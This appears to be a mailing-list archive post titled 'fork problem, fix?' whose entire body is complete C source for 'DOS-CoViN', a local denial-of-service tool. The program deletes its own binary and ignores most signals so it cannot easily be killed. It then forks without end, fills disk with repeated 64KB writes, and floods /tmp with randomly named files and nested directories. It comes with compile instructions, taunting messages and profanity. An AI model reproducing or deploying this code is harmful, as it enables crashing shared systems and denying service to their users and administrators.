[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

fork problem, fix?




/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
   bugtraq

   This program is a beefed up classic denial of service fork()'er :)

   Compilation:
	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c

	on my linux, I can compile it with both -DBSD_C and -DSYSV_C

	if your not sure, you can experiment, or compile it
	without any -D'efines


   In the future:
	SunOS signals ignored.
	Creation of random symlinks for more gory destruction.
	Using advanced technology coding to make the hard drive
		blow up with a loud boom and the console explode
		causing a nuclear meltdown.



   Direct All Suggestions And Flames to: Vio

  NOTE: this program is provided for educational purposes only, its author
	will not take any responsibility for any stupid things you will
	decide to do.

	this has been tested, but not the latest version of it.

            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
            $$'   s   `$'   s   `$    $    $    $    `$   $$
            $$    $    $    $    $    $    $    $         $$
            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
            $$    $ssss$    $    $    $    $    $   $$$   $$
            $$    $    $    $    $.   $   ,$    $   $$$   $$
            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'

*/


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>

#define MAX_FILELEN 100	/* The _actual_ max length */
#define MAX_DIRLEN 10

#define START_DIR "/tmp"   /* This can be substituted for any directory */
			   /* that you have write access to		*/

void dirs_generator(void);

main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;

unlink(argv[0]);

/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
signal(SIGALRM,	SIG_IGN);
signal(SIGBUS,	SIG_IGN);
signal(SIGFPE,	SIG_IGN);
signal(SIGILL,	SIG_IGN);
signal(SIGIOT,	SIG_IGN);
signal(SIGPIPE,	SIG_IGN);
signal(SIGQUIT,	SIG_IGN);
signal(SIGSEGV,	SIG_IGN);
signal(SIGTRAP,	SIG_IGN);
signal(SIGUSR1,	SIG_IGN);
signal(SIGUSR2,	SIG_IGN);

#ifdef BSD_C 
	signal(SIGPROF, SIG_IGN);
	signal(SIGSTOP, SIG_IGN);
	signal(SIGTSTP, SIG_IGN);
	signal(SIGTTIN,	SIG_IGN);
	signal(SIGTTOU,	SIG_IGN);
	signal(SIGVTALRM,	SIG_IGN);
	signal(SIGXCPU,	SIG_IGN);
	signal(SIGXFSZ,	SIG_IGN);
#endif

#ifdef SYSV_C
	signal(SIGPOLL,	SIG_IGN);
	signal(SIGPWR,	SIG_IGN);
#endif

if(fork()) {
	printf("Now crashing and blowing up this system.. have a nice day\n");
	printf("You can safely logout, and let the proggie do its work\n");
	printf("or you can stick around and watch lag go from 0 to bitch\n");
	printf("in a matter of seconds\n");
	printf("					--CoViN		 \n");
	exit(0);
  }
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
	while(1) {
		fork();
		buff = malloc(64000);
		write(fp, buff, 64000);
		system("uptime");
 	}
 }
dirs_generator();
}


void dirs_generator(void)
{
char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN]; 
char dir[MAX_DIRLEN];
int i;
int flen;

printf("Making dirs..\n");
chdir(START_DIR);

fork();	/* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR						 */
fork();

while(1) {
	fork();
	flen= (rand() % MAX_FILELEN) - 1;
	for(i=0; i<flen; i++)
                fl[i] = alph[rand() % strlen(alph)];
	fl[MAX_FILELEN-1]=0;
	i=open(fl,O_WRONLY|O_CREAT);
	write(i,"fuck you! CoViN",16);
	close(i);

	flen= (rand() % MAX_DIRLEN) - 1;
	for(i=0; i<flen; i++)
		dir[i] = alph[rand() % strlen(alph)];
	dir[MAX_DIRLEN-1]=0;
	mkdir(dir,0);	
	chdir(dir);
       }
}